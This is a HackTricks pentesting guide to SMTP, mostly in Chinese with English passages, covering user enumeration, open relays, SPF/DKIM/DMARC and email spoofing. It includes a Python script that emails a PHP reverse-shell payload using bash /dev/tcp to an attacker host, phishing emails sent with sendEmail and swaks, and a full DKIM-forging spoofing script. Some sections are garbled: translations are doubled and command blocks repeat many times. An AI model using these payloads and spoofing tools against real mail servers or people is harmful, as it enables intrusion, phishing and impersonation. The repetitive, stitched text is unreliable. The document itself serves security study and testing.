hacktricks/network-services-pentesting/pentesting-smtp/README.md
2023-08-03 19:12:22 +00:00

44 KiB
Raw Blame History

25,465,587 - SMTP/s 渗透测试

☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

DragonJAR Security Conference 是一场国际网络安全活动已经举办了十多年将于2023年9月7日至8日在哥伦比亚波哥大举行。这是一个内容丰富的技术活动展示了吸引全球黑客和研究人员的最新西班牙语研究成果。
立即在以下链接注册,不要错过这个重要的会议!:

{% embed url="https://www.dragonjarcon.org/" %}

基本信息

SMTP简单邮件传输协议是一种用于发送接收电子邮件的TCP/IP协议。然而由于它在接收端的消息排队能力有限通常与另外两个协议之一一起使用即POP3或IMAP这两个协议允许用户将消息保存在服务器邮箱中并定期从服务器下载。

换句话说,用户通常使用一个使用SMTP发送电子邮件POP3或IMAP接收电子邮件的程序。在基于Unix的系统中sendmail是最广泛使用的用于电子邮件的SMTP服务器。商业软件Sendmail包括一个POP3服务器。Microsoft Exchange包括一个SMTP服务器并且还可以设置为包括POP3支持。
来源:这里

**默认端口:**25,465(ssl),587(ssl)

PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959

邮件头

如果你有机会让受害者给你发送一封邮件(例如通过网页的联系表单),请这样做,因为通过查看邮件的头部,你可以了解受害者的内部拓扑结构。

你还可以通过向SMTP服务器发送一封邮件到一个不存在的地址因为服务器会向攻击者发送一封NDN邮件来获取邮件。但是请确保你从一个允许的地址发送邮件检查SPF策略并且你能够接收NDN消息。

你还应该尝试发送不同的内容,因为你可以在邮件头中找到更有趣的信息,比如:X-Virus-Scanned: by av.domain.com
你应该发送EICAR测试文件。
检测到AV可能会让你利用已知的漏洞。

基本操作

Banner Grabbing/基本连接

SMTP:

nc -vn <IP> 25

SMTPSSecure SMTP是一种通过TLS/SSL加密的SMTP协议。它提供了一种安全的方式来传输电子邮件。SMTPS使用465端口进行通信并且在建立连接后立即启用加密。这种加密保护了邮件的机密性和完整性防止中间人攻击和窃听。在进行SMTPS渗透测试时可以使用各种技术和工具来检测和利用可能存在的漏洞。

openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587

查找组织的MX服务器

To find the MX servers of an organization, you can use the following methods:

要查找组织的MX服务器可以使用以下方法

Method 1: DNS Lookup

方法1DNS查找

Perform a DNS lookup for the organization's domain name using the nslookup or dig command. Look for the MX records in the DNS response. These records specify the mail servers responsible for receiving emails for the domain.

使用nslookupdig命令对组织的域名进行DNS查找。在DNS响应中查找MX记录。这些记录指定负责接收该域的电子邮件的邮件服务器。

Example command using nslookup:

使用nslookup的示例命令:

nslookup -type=MX example.com

Method 2: Online Tools

方法2在线工具

There are various online tools available that can help you find the MX servers of an organization. These tools perform DNS lookups and provide the MX records for a given domain.

有许多在线工具可用于帮助您查找组织的MX服务器。这些工具执行DNS查找并提供给定域的MX记录。

Some popular online tools for finding MX servers include:

一些常用的用于查找MX服务器的在线工具包括

Using these tools, enter the organization's domain name and look for the MX records in the results.

使用这些工具输入组织的域名并在结果中查找MX记录。

dig +short mx google.com

枚举

SMTP枚举是一种用于收集有关目标SMTP服务器的信息的过程。通过枚举SMTP服务器黑客可以获取有关目标网络的重要信息例如有效的用户列表、邮件别名、支持的身份验证方法和服务器配置。

1. 基本枚举

基本枚举是通过与SMTP服务器建立连接并发送命令来获取有关服务器的基本信息。以下是一些常用的基本枚举命令

  • HELO向服务器发送HELO命令以建立与服务器的连接。
  • EHLO向服务器发送EHLO命令以获取服务器的详细信息。
  • VRFY向服务器发送VRFY命令以验证用户或邮件别名的存在。
  • EXPN向服务器发送EXPN命令以展开邮件别名。
  • HELP向服务器发送HELP命令以获取帮助信息。

2. 用户枚举

用户枚举是通过尝试不同的用户名来确定有效用户的过程。黑客可以使用以下方法进行用户枚举:

  • 字典攻击:使用常见用户名列表或自定义字典尝试登录。
  • 用户名猜测:根据目标组织的命名约定猜测有效的用户名。
  • 用户名枚举工具使用专门的工具如SMTP User Enum来自动化用户枚举过程。

3. 邮件别名枚举

邮件别名枚举是通过尝试不同的邮件别名来确定有效别名的过程。黑客可以使用以下方法进行邮件别名枚举:

  • 字典攻击:使用常见邮件别名列表或自定义字典尝试展开别名。
  • 别名猜测:根据目标组织的命名约定猜测有效的邮件别名。
  • 别名枚举工具使用专门的工具如SMTP User Enum来自动化邮件别名枚举过程。

4. 身份验证枚举

身份验证枚举是通过尝试不同的身份验证方法来确定服务器支持的身份验证类型的过程。黑客可以使用以下方法进行身份验证枚举:

  • 尝试常见的身份验证方法如PLAIN、LOGIN、CRAM-MD5等。
  • 使用SMTP扫描工具如Nmap的SMTP扫描脚本来自动化身份验证枚举过程。

5. 邮件服务器配置枚举

邮件服务器配置枚举是通过获取有关目标服务器的配置信息来确定服务器的弱点和潜在漏洞的过程。黑客可以使用以下方法进行邮件服务器配置枚举:

  • 查找公开可用的SMTP服务器配置文件。
  • 使用SMTP扫描工具如Nmap的SMTP扫描脚本来获取服务器配置信息。

枚举SMTP服务器是黑客在进行SMTP渗透测试时的重要步骤。通过有效的枚举黑客可以收集有关目标网络的关键信息从而更好地规划和执行后续的攻击。

nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v

NTLM身份验证 - 信息泄露

如果服务器支持NTLM身份验证Windows您可以获取敏感信息版本。更多信息在这里

root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA

或者使用nmap插件smtp-ntlm-info.nse来自动化此过程。

内部服务器名称 - 信息泄露

当发出不带完整地址的"MAIL FROM"命令时一些SMTP服务器会自动补全发件人地址从而泄露其内部名称

220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK

嗅探

检查是否从端口25的数据包中嗅探到了一些密码

认证暴力破解

用户名暴力破解枚举

并非总是需要认证

RCPT TO

$ telnet 10.0.10.1 25
Trying 10.0.10.1...
Connected to 10.0.10.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello [10.0.0.99], pleased to meet you
MAIL FROM:test@test.org
250 2.1.0 test@test.org... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok

VRFY

VRFY 是一种 SMTP 命令,用于验证电子邮件地址的有效性。它允许攻击者通过发送 VRFY 命令来检查特定用户或邮件列表是否存在于目标邮件服务器上。这可以帮助攻击者确定有效的用户账户,从而进行更有针对性的攻击。

然而,大多数现代邮件服务器已经禁用了 VRFY 命令,因为它可能导致信息泄露和用户隐私问题。因此,在进行 SMTP 渗透测试时VRFY 命令通常不可用。

如果你尝试使用 VRFY 命令,并且服务器返回 "502 Command not implemented" 或类似的错误消息,那么说明目标服务器已禁用 VRFY 命令。在这种情况下,你需要尝试其他的 SMTP 渗透测试技术来获取目标用户的信息。

$ telnet 10.0.0.1 25
Trying 10.0.0.1...
Connected to 10.0.0.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello [10.0.0.99], pleased to meet you
VRFY root
250 Super-User <root@myhost>
VRFY blah
550 blah... User unknown

EXPN

The EXPN command is used to expand a mailing list on an SMTP server. It can be used to obtain information about the members of a mailing list, including their email addresses. This command can be useful for reconnaissance purposes during a penetration test.

To use the EXPN command, you can simply send the following command to the SMTP server:

EXPN <mailing_list>

Replace <mailing_list> with the name of the mailing list you want to expand. If the server supports the EXPN command and the mailing list exists, it will respond with the expanded list of email addresses.

It's important to note that not all SMTP servers support the EXPN command, as it can be a security risk. Some servers may disable this command to prevent unauthorized access to mailing list information.

During a penetration test, the EXPN command can be used to gather information about potential targets or to verify the existence of specific email addresses. However, it's crucial to obtain proper authorization before performing any penetration testing activities.

$ telnet 10.0.10.1 25
Trying 10.0.10.1...
Connected to 10.0.10.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 <ed.williams@myhost>
EXPN sshd
250 2.1.5 sshd privsep <sshd@mail2>

自动化工具

There are several automatic tools available that can be used to enumerate usernames on SMTP servers. These tools automate the process of sending multiple requests to the server and analyzing the responses to determine if a username is valid or not. Some popular tools include:

有几种可用的自动化工具可以用来枚举SMTP服务器上的用户名。这些工具自动化了向服务器发送多个请求并分析响应以确定用户名是否有效的过程。一些流行的工具包括

  • SMTP User Enum - This tool is part of the Metasploit Framework and can be used to enumerate usernames on SMTP servers. It sends a series of VRFY and EXPN commands to the server and analyzes the responses to determine if a username is valid or not.

  • SMTP User Enum - 这个工具是Metasploit框架的一部分可以用来枚举SMTP服务器上的用户名。它向服务器发送一系列的VRFY和EXPN命令并分析响应以确定用户名是否有效。

  • Nmap - Nmap is a popular network scanning tool that can also be used to enumerate usernames on SMTP servers. The Nmap script "smtp-enum-users" can be used to send VRFY and EXPN commands to the server and analyze the responses.

  • Nmap - Nmap是一个流行的网络扫描工具也可以用来枚举SMTP服务器上的用户名。Nmap脚本“smtp-enum-users”可以用来向服务器发送VRFY和EXPN命令并分析响应。

  • SMTP User Enumeration - This is a standalone tool that can be used to enumerate usernames on SMTP servers. It sends a series of commands to the server and analyzes the responses to determine if a username is valid or not.

  • SMTP User Enumeration - 这是一个独立的工具可以用来枚举SMTP服务器上的用户名。它向服务器发送一系列的命令并分析响应以确定用户名是否有效。

These tools can be useful for quickly enumerating usernames on SMTP servers, but it's important to note that they can also be detected by intrusion detection systems (IDS) and may trigger alerts. It's recommended to use these tools responsibly and with proper authorization.

Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>

DragonJAR Security Conference是一场国际网络安全活动已经举办了十多年将于2023年9月7日至8日在哥伦比亚波哥大举行。这是一个内容丰富的技术活动展示了最新的西班牙语研究成果吸引了来自世界各地的黑客和研究人员。
立即在以下链接注册,不要错过这个重要的会议!:

{% embed url="https://www.dragonjarcon.org/" %}

DSN报告

传递状态通知报告:如果您向一个组织发送一封电子邮件到一个无效的地址,该组织将通过向您发送一封邮件来通知该地址无效。返回的电子邮件的标头包含可能的敏感信息如与报告交互的邮件服务的IP地址或防病毒软件信息

命令

从Linux控制台发送电子邮件

root@kali:~# sendEmail -t itdept@victim.com -f techsupport@bestcomputers.com -s 192.168.8.131 -u Important Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.

IT Dept,

We are sending this important file to all our customers. It contains very important instructions for upgrading and securing your software. Please read and let us know if you have any problems.

Sincerely,
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

使用Python发送电子邮件

以下是使用Python脚本发送电子邮件的另一种方法

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import sys

lhost = "127.0.0.1"
lport = 443
rhost = "192.168.1.1"
rport = 25 # 489,587

# create message object instance
msg = MIMEMultipart()

# setup the parameters of the message
password = ""
msg['From'] = "attacker@local"
msg['To'] = "victim@local"
msg['Subject'] = "This is not a drill!"

# payload
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

print("[*] Payload is generated : %s" % message)

msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250:
print("[-]Connection Error")
exit()

server.starttls()

# Uncomment if log-in with authencation
# server.login(msg['From'], password)

server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()

print("[***]successfully sent email to %s:" % (msg['To']))

邮件欺骗

本节大部分内容摘自书籍《网络安全评估第三版》。

SMTP消息很容易被伪造因此组织使用SPF、DKIM和DMARC功能来防止未经授权的邮件发送。

这些对策的完整指南可以在https://seanthegeek.net/459/demystifying-dmarc/找到。

SPF

{% hint style="danger" %} SPF在2014年被"弃用"了。这意味着不再在_spf.domain.com中创建TXT记录,而是在domain.com中使用相同的语法创建。
此外为了重用以前的SPF记录通常会找到类似于"v=spf1 include:_spf.google.com ~all"的内容。 {% endhint %}

发件人策略框架SPF提供了一种机制允许MTA检查发送电子邮件的主机是否经过授权。
然后组织可以定义一系列授权的邮件服务器MTA可以查询这些列表以检查电子邮件是否被伪造。
为了定义允许代表域名发送电子邮件的IP地址/范围、域名和其他内容在SPF注册表中可以出现不同的“机制”。

机制

机制 描述
ALL 始终匹配用于所有未被前面机制匹配的IP的默认结果例如-all
A 如果域名具有可以解析为发件人地址的地址记录A或AAAA则匹配。
IP4 如果发件人在给定的IPv4地址范围内则匹配。
IP6 如果发件人在给定的IPv6地址范围内则匹配。
MX 如果域名具有解析为发件人地址的MX记录它将匹配即邮件来自域的传入邮件服务器之一
PTR 如果客户端地址的域名PTR记录在给定的域中并且该域名解析为客户端地址正向确认反向DNS则匹配。如果可能应避免使用此机制。
EXISTS 如果给定的域名解析为任何地址则匹配无论解析为何地址。这很少使用。与SPF宏语言一起它提供了更复杂的匹配如DNSBL查询。
INCLUDE 引用另一个域的策略。如果该域的策略通过,则此机制通过。但是,如果包含的策略失败,则继续处理。要完全委托给另一个域的策略,必须使用重定向扩展。
REDIRECT

重定向是指向托管SPF策略的另一个域名的指针它允许多个域共享相同的SPF策略。当处理大量共享相同电子邮件基础结构的域时它非常有用。

将使用重定向机制中指示的域的SPF策略。

还可以识别限定符,指示如果匹配了某个机制应该执行什么操作。默认情况下,使用限定符"+"(因此如果匹配了任何机制,表示允许)。
通常您会在每个SPF策略的末尾注意到类似于**~all-all的内容。这用于指示如果发件人不符合任何SPF策略则应将电子邮件标记为不可信~)或拒绝(-)电子邮件。**

限定符

每个机制可以与以下四个限定符之一结合使用:

  • + 表示通过。可以省略;例如,+mxmx相同。
  • ? 表示中立结果,解释为无(无策略)。
  • ~(波浪号)表示软失败,介于中立和失败之间的调试辅助。通常,返回软失败的消息会被接受但会被标记。
  • -(减号)表示失败,应拒绝邮件(见下文)。

在下面的示例中,您可以阅读google.com的SPF策略。请注意,第一个SPF策略包含其他域的SPF策略

kali@kali:~$ dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

kali@kali:~$ dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

kali@kali:~$ dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

kali@kali:~$ dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

kali@kali:~$ dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

传统上,可以伪造任何没有正确/任何SPF记录的域名。现在,如果电子邮件来自没有有效SPF记录的域名很可能会被自动拒绝/标记为不可信

您可以使用在线工具(如:https://www.kitterman.com/spf/validate.html来检查域名的SPF。

DKIM

域键标识邮件DKIM是一种机制通过在检索域的公钥时外部MTA对出站电子邮件进行签名和验证。DKIM公钥保存在域的TXT记录中但是您必须知道选择器和域名才能检索它。

然后,要请求密钥,您需要从邮件头DKIM-Signature中获取邮件的域名和选择器,例如:d=gmail.com;s=20120113

dig 20120113._domainkey.gmail.com TXT | grep p=
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCg
KCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC

Domain-based Message Authentication, Reporting & Conformance (DMARC) 是一种邮件认证方法,扩展了 SPF 和 DKIM。策略指示邮件服务器如何处理给定域的电子邮件并报告所执行的操作。

要获取 DMARC 记录,您需要查询子域 _dmarc

root@kali:~# dig _dmarc.yahoo.com txt | grep DMARC
_dmarc.yahoo.com.  1785 IN TXT "v=DMARC1\; p=reject\; sp=none\; pct=100\;
rua=mailto:dmarc-yahoo-rua@yahoo-inc.com, mailto:dmarc_y_rua@yahoo.com\;"

root@kali:~# dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com. 600 IN TXT "v=DMARC1\; p=quarantine\; rua=mailto:mailauth-reports@google.com"

root@kali:~# dig _dmarc.paypal.com txt | grep DMARC
_dmarc.paypal.com. 300 IN TXT "v=DMARC1\; p=reject\; rua=mailto:d@rua.agari.com\;
ruf=mailto:dk@bounce.paypal.com,mailto:d@ruf.agari.com"

PayPal和Yahoo指示邮件服务器拒绝包含无效DKIM签名或不来自其网络的消息。然后通知将发送到各个组织内的相应电子邮件地址。Google也以类似的方式进行配置尽管它指示邮件服务器对消息进行隔离而不是直接拒绝。

DMARC标签

标签名称 目的 示例
v 协议版本 v=DMARC1
pct 经过过滤的消息百分比 pct=20
ruf 用于法医报告的报告URI ruf=mailto:authfail@example.com
rua 聚合报告的报告URI rua=mailto:aggrep@example.com
p 组织域的策略 p=quarantine
sp OD的子域的策略 sp=reject
adkim DKIM的对齐模式 adkim=s
aspf SPF的对齐模式 aspf=r

子域名怎么办?

来自这里
您需要为每个希望从中发送邮件的子域设置单独的SPF记录。
以下内容最初发布在openspf.org上这曾经是一个非常好的资源。

Demon的问题子域名怎么办

如果我从pielovers.demon.co.uk收到邮件并且pielovers没有SPF数据我应该返回一级并测试demon.co.uk的SPF吗不。Demon的每个子域都是不同的客户每个客户可能有自己的策略。默认情况下Demon的策略适用于其所有客户是没有意义的如果Demon想要这样做它可以为每个子域设置SPF记录。

因此对于SPF发布者的建议是您应该为每个具有A或MX记录的子域或主机名添加SPF记录。

具有通配符A或MX记录的站点还应具有通配符SPF记录格式如下* IN TXT "v=spf1 -all"

这是有道理的-子域名很可能位于不同的地理位置并且具有非常不同的SPF定义。

开放中继

为了防止发送的电子邮件被垃圾邮件过滤器过滤并未能到达收件人,发件人可以使用收件人信任的中继服务器。通常,管理员没有概述他们必须允许IP范围。这导致SMTP服务器的错误配置我们在外部和内部渗透测试中经常发现这种情况。因此他们允许所有IP地址,以免在电子邮件流量中引发错误,从而不会干扰或意外中断与潜在和现有客户的通信:

mynetworks = 0.0.0.0/0
nmap -p25 --script smtp-open-relay 10.10.10.10 -v

工具

发送伪造邮件

或者你可以使用一个工具:

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

{% hint style="warning" %} 如果您在使用 dkim python lib 解析密钥时遇到任何错误,请随意使用以下密钥。
注意这只是一个快速修复方法用于在某些情况下由于某种原因openssl 私钥无法被 dkim 解析时进行快速检查。

-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----

{% endhint %}

或者你可以手动完成:

{% tabs %} {% tab title="PHP" %}

# 这将发送一条未签名的消息
mail("your_email@gmail.com", "测试主题!", "嘿!这是一个测试", "From: administrator@victim.com");

{% endtab %}

{% tab title="Python" %}

# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase

# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]

# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")

# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()

# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()

# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()

# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)

{% endtab %} {% endtabs %}

更多信息

https://seanthegeek.net/459/demystifying-dmarc/ 中找到有关这些保护措施的更多信息

其他钓鱼指标

  • 域名的年龄
  • 指向IP地址的链接
  • 链接操纵技术
  • 可疑(不常见)附件
  • 破损的电子邮件内容
  • 使用与邮件头不同的值
  • 存在有效且受信任的SSL证书
  • 将页面提交给Web内容过滤站点

通过SMTP进行数据泄露

如果您可以通过SMTP发送数据阅读此内容

配置文件

Postfix

通常如果安装了Postfix则在/etc/postfix/master.cf中包含执行脚本的内容,例如当用户收到新邮件时。例如,行flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}表示如果用户mark收到新邮件则将执行/etc/postfix/filtering

其他配置文件:

sendmail.cf
submit.cf

HackTricks 自动命令

SMTP

SMTP User Enumeration

Manual Method

To enumerate valid users in an SMTP server, you can use the VRFY command. This command allows you to verify if a specific username exists in the server.

$ telnet <SMTP_SERVER> 25
VRFY <USERNAME>
Automatic Method

You can use the smtp-user-enum tool to automate the user enumeration process. This tool sends multiple VRFY requests to the SMTP server, allowing you to quickly identify valid usernames.

$ smtp-user-enum -M VRFY -U /path/to/usernames.txt -t <SMTP_SERVER>

SMTP User Enumeration with Metasploit

You can also use Metasploit to perform SMTP user enumeration. The smtp_enum module can be used for this purpose.

msf5 > use auxiliary/scanner/smtp/smtp_enum
msf5 auxiliary(scanner/smtp/smtp_enum) > set RHOSTS <SMTP_SERVER>
msf5 auxiliary(scanner/smtp/smtp_enum) > run

SMTP User Enumeration with Nmap

Nmap can also be used to enumerate SMTP users. The smtp-enum-users script can be used for this purpose.

$ nmap -p 25 --script smtp-enum-users <SMTP_SERVER>

SMTP User Enumeration with Burp Suite

Burp Suite can be used to perform SMTP user enumeration by intercepting and modifying the VRFY requests.

  1. Configure Burp Suite to intercept SMTP traffic.
  2. Send a VRFY request to the SMTP server.
  3. Intercept the request in Burp Suite.
  4. Modify the request to test different usernames.
  5. Forward the modified request to the server and observe the response.

SMTP User Enumeration with Nmap and NSE Scripts

Nmap can be used with NSE scripts to enumerate SMTP users. The smtp-enum-users script can be used for this purpose.

$ nmap -p 25 --script smtp-enum-users <SMTP_SERVER>

SMTP User Enumeration with Metasploit and NSE Scripts

Metasploit can also be used with NSE scripts to enumerate SMTP users. The smtp-enum-users script can be used for this purpose.

msf5 > use auxiliary/scanner/smtp/smtp_enum
msf5 auxiliary(scanner/smtp/smtp_enum) > set RHOSTS <SMTP_SERVER>
msf5 auxiliary(scanner/smtp/smtp_enum) > run

SMTP User Enumeration with SMTP-User-Enum

SMTP-User-Enum is a tool specifically designed for SMTP user enumeration. It can be used to quickly identify valid usernames on an SMTP server.

$ smtp-user-enum -M VRFY -U /path/to/usernames.txt -t <SMTP_SERVER>

SMTP User Enumeration with SMTP-User-Enum and Metasploit

SMTP-User-Enum can also be used with Metasploit to perform SMTP user enumeration.

msf5 > use auxiliary/scanner/smtp/smtp_enum
msf5 auxiliary(scanner/smtp/smtp_enum) > set RHOSTS <SMTP_SERVER>
msf5 auxiliary(scanner/smtp/smtp_enum) > run

SMTP User Enumeration with SMTP-User-Enum and Nmap

SMTP-User-Enum can also be used with Nmap to enumerate SMTP users.

$ nmap -p 25 --script smtp-enum-users <SMTP_SERVER>

SMTP User Enumeration with SMTP-User-Enum, Metasploit, and Nmap

SMTP-User-Enum can be used in combination with Metasploit and Nmap to perform SMTP user enumeration.

msf5 > use auxiliary/scanner/smtp/smtp_enum
msf5 auxiliary(scanner/smtp/smtp_enum) > set RHOSTS <SMTP_SERVER>
msf5 auxiliary(scanner/smtp/smtp_enum) > run

SMTP Relay

Open Relay Testing

To test if an SMTP server is an open relay, you can use the smtp-open-relay NSE script in Nmap.

$ nmap -p 25 --script smtp-open-relay <SMTP_SERVER>

SMTP Relay Exploitation

If you find an SMTP server that allows open relay, you can use it to send emails to any recipient without authentication. This can be exploited for spamming or phishing purposes.

To exploit an open relay SMTP server, you can use tools like swaks or telnet.

$ swaks --to <RECIPIENT_EMAIL> --from <SENDER_EMAIL> --server <SMTP_SERVER>
$ telnet <SMTP_SERVER> 25
HELO <SENDER_DOMAIN>
MAIL FROM: <SENDER_EMAIL>
RCPT TO: <RECIPIENT_EMAIL>
DATA
Subject: <EMAIL_SUBJECT>

<EMAIL_BODY>
.
QUIT

SMTP User Enumeration with SMTP-User-Enum, Metasploit, and Nmap

SMTP-User-Enum can be used in combination with Metasploit and Nmap to perform SMTP user enumeration.

msf5 > use auxiliary/scanner/smtp/smtp_enum
msf5 auxiliary(scanner/smtp/smtp_enum) > set RHOSTS <SMTP_SERVER>
msf5 auxiliary(scanner/smtp/smtp_enum) > run

SMTP Relay

Open Relay Testing

To test if an SMTP server is an open relay, you can use the smtp-open-relay NSE script in Nmap.

$ nmap -p 25 --script smtp-open-relay <SMTP_SERVER>

SMTP Relay Exploitation

If you find an SMTP server that allows open relay, you can use it to send emails to any recipient without authentication. This can be exploited for spamming or phishing purposes.

To exploit an open relay SMTP server, you can use tools like swaks or telnet.

$ swaks --to <RECIPIENT_EMAIL> --from <SENDER_EMAIL> --server <SMTP_SERVER>
$ telnet <SMTP_SERVER> 25
HELO <SENDER_DOMAIN>
MAIL FROM: <SENDER_EMAIL>
RCPT TO: <RECIPIENT_EMAIL>
DATA
Subject: <EMAIL_SUBJECT>

<EMAIL_BODY>
.
QUIT
Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
